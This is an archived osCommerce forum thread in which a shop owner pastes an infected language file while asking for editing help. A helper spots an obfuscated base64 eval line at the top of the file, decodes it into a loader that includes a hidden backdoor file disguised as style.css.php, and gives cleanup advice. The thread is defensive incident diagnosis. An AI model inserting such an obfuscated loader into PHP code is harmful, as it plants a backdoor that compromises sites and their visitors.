Help Removing text from english/index.php

mycommerce2 · October 24, 2010

Below is the contents of my english/index.php. I'm accessing it by selecting Admin,tools,file manager,includes,language,english,index.php, then edit. After I make changes and click save I get a blank screen and nothing happens. I want to get rid of everything between the words "for any year" and "property and debts" I've underlined and bolded these words. Thanks in advance for your help.

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2V6ZWVhcHMxL3B1YmxpY19odG1sL29zY29tbS9hZG1pbi9pbmNsdWRlcy9sYW5ndWFnZXMvZXNwYW5vbC9tb2R1bGVzL2luZGV4L3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

<?php

/*

$Id: index.php 1739 2007-12-20 00:52:16Z hpdl $

osCommerce, Open Source E-Commerce Solutions

http://www.oscommerce.com

Released under the GNU General Public License

*/

define('TEXT_MAIN', 'This is FAHG Enterprise online store featuring our EZEEAPS Products. Products shown are designed to assist you in managing your time and finances. Any products purchased will be delivered via the US Postal Service. These products are compatible with Windows operation systems and require you have installed on your computer Microsoft Excel 2007 or higher. Windows and Excel are trademarks of Microsoft Corporation. <table border="0" width="100%" cellspacing="5" cellpadding="2"><tr><td class="main" valign="top">' . tep_image(DIR_WS_IMAGES . 'default/1.gif') . '</td><td class="main" valign="top">EZEEAPS LEAVE TRACKER v7.0 - A time management product designed to track bi-weekly payroll annual (vacation), sick, and other times. MAIN FEATURES AND TASKS THE LEAVE TRACKER ALLOWS YOU TO ACCOMPLISH:

Track Vacation, Sick, Compensation, Award, Overtime and Other time.

Enter all Pay Period dates with the entry of just the first Pay Period dates.

Enter Annual (vacation) or Sick time for any day.

Mark weekends and holidays so you can plan your leave around them.

Block-off one or both Fridays as RDO (regular day off).

Schedule Annual and Sick leave (time) for the entire year.

Always know Leave Year ending balance based on leave taken and planned.

Play out leave use scenarios for effective use of your earn leave.

Easily navigate throughout the application with command buttons.

Handy calendar showing Federal holidays and bi-weekly pay days for any year.

</td></tr><td class="main" valign="top">' . tep_image(DIR_WS_IMAGES . 'default/2.gif') . '</td><td class="main" valign="top">The EZEE BUDGET v3.0—A personal finance budgeting application with tools for managing your assets and liabilities to compute your overall net worth.

The main focus of most personal finance software applications is recording after the fact transactions, at a time when your dollars are practically encased in stone. But the main focus of the EZEE Budget is on forecasting your future incomes, expenses and spending, to give you to opportunity to stretch your dollar as far a possible. Main features of the EZEE Budget:

Special Calendar – Displays 10 federal holidays for any year you select.

12 Monthly Budgets – Core feature, for forecasting and tracking your income, expenses and spending. Feeds credit accounts payments to Debt Manager.

Annual Budget Summary – Displays your overall annual budget situation.

Income List – Setup tool to assist you in identifying all your paydays and other income.

Non-Credit Expense List – Setup tool to assist you in identifying all your non-credit expenses.

Credit Expense List – Setup tool to assist you in identifying all your credit expenses.

Property Manager – Helps you identify all your personal and real property, for use in determining your net worth.

Mortgage Amortizer – Allows you to setup a mortgage loan amortization schedule; and see your interest saving if extra principal payments are made.

Credit Accounts Reconciler – Feeds credit (cards) accounts charges, interest, and refunds to the Debt Manager after converting mid-month credit accounts balances and totals to end of month amounts to coincide with end of month net worth computation.

Debt Manager – Tracks up to 11 credit accounts, including mortgage, to give you an overall view of your credit and debt account status.

Net Worth – Gives you a monthly Snap shot of your overall financial worth, having considered your assets, property and debts.

</td></tr><tr><td class="main" valign="top">' . tep_image(DIR_WS_IMAGES . 'default/3.gif') . '</td><td class="main" valign="top">Products Coming Soon Future Products will appear here Support is available at the <a href="http://www.oscommerce.com/support" target="_blank">osCommerce Support Site</a>.</td></tr></table> If you wish to download the solution powering this shop, or if you wish to contribute to the osCommerce project, please visit the <a href="http://www.oscommerce.com" target="_blank">support site of osCommerce</a>. This shop is running on ' . PROJECT_VERSION . '.');

define('TABLE_HEADING_NEW_PRODUCTS', 'New Products For %s');

define('TABLE_HEADING_UPCOMING_PRODUCTS', 'Upcoming Products');

define('TABLE_HEADING_DATE_EXPECTED', 'Date Expected');

if ( ($category_depth == 'products') || (isset($HTTP_GET_VARS['manufacturers_id'])) ) {

define('HEADING_TITLE', 'Let\'s See What We Have Here');

define('TABLE_HEADING_IMAGE', '');

define('TABLE_HEADING_MODEL', 'Model');

define('TABLE_HEADING_PRODUCTS', 'Product Name');

define('TABLE_HEADING_MANUFACTURER', 'Manufacturer');

define('TABLE_HEADING_QUANTITY', 'Quantity');

define('TABLE_HEADING_PRICE', 'Price');

define('TABLE_HEADING_WEIGHT', 'Weight');

define('TABLE_HEADING_BUY_NOW', 'Buy Now');

define('TEXT_NO_PRODUCTS', 'There are no products to list in this category.');

define('TEXT_NO_PRODUCTS2', 'There is no product available from this manufacturer.');

define('TEXT_NUMBER_OF_PRODUCTS', 'Number of Products: ');

define('TEXT_SHOW', 'Show:');

define('TEXT_BUY', 'Buy 1 \'');

define('TEXT_NOW', '\' now');

define('TEXT_ALL_CATEGORIES', 'All Categories');

define('TEXT_ALL_MANUFACTURERS', 'All Manufacturers');

} elseif ($category_depth == 'top') {

define('HEADING_TITLE', 'EZEEAPS Products (THIS SITE UNDER CONSTRUCTION DO NOT ORDER NOW');

} elseif ($category_depth == 'nested') {

define('HEADING_TITLE', 'Categories');

}

?>

germ · October 24, 2010

This:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2V6ZWVhcHMxL3B1YmxpY19odG1sL29zY29tbS9hZG1pbi9pbmNsdWRlcy9sYW5ndWFnZXMvZXNwYW5vbC9tb2R1bGVzL2luZGV4L3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

Means you've been hacked.

:'(

Visit the link below:

How to Secure Your Site

mycommerce2 · October 24, 2010

This:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2V6ZWVhcHMxL3B1YmxpY19odG1sL29zY29tbS9hZG1pbi9pbmNsdWRlcy9sYW5ndWFnZXMvZXNwYW5vbC9tb2R1bGVzL2luZGV4L3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

Means you've been hacked.

:'(

Visit the link below:

How to Secure Your Site

How do I get rid of the hacking. Do I just delete that line and then secure my site?

germ · October 24, 2010

Chances are that code is in almost every PHP file on the site.

If you decode it you will find a location of one of the hackers files:

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){
 $GLOBALS['mfsn']='/home/[EDITED OUT FOR PRIVACY]/public_html/oscomm/admin/includes/languages/espanol/modules/index/style.css.php';
 if(file_exists($GLOBALS['mfsn'])){
   include_once($GLOBALS['mfsn']);
   if(function_exists('gml')&&function_exists('dgobh')){
     ob_start('dgobh');
   }
 }
}

/oscomm/admin/includes/languages/espanol/modules/index/style.css.php

Use the link I provided and follow the suggestions.

germ · October 24, 2010

This thread may be helpful.

mycommerce2 · October 24, 2010

Chances are that code is in almost every PHP file on the site.

If you decode it you will find a location of one of the hackers files:
if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){
 $GLOBALS['mfsn']='/home/[EDITED OUT FOR PRIVACY]/public_html/oscomm/admin/includes/languages/espanol/modules/index/style.css.php';
 if(file_exists($GLOBALS['mfsn'])){
   include_once($GLOBALS['mfsn']);
   if(function_exists('gml')&&function_exists('dgobh')){
     ob_start('dgobh');
   }
 }
}
/oscomm/admin/includes/languages/espanol/modules/index/style.css.php

Use the link I provided and follow the suggestions.

Thanks, I looked at the link and it seem there is a lot to do. After take all those steps, will that get rid of the hacking everywhere on my site? Or do I have to first do a search and destroy of the hacking in all the files then apply all the security measures? I do have backup copy of files, but not sure if they have been hacked too.

germ · October 24, 2010

You need to shut the site down while you're cleaning it up and fixing it.

That means protecting the entire site with a .htaccess file so no one can access it but you.

Help Removing text from english/index.php

Recommended Posts

mycommerce2

germ

mycommerce2

germ

germ

mycommerce2

germ

Archived

Browse

Activity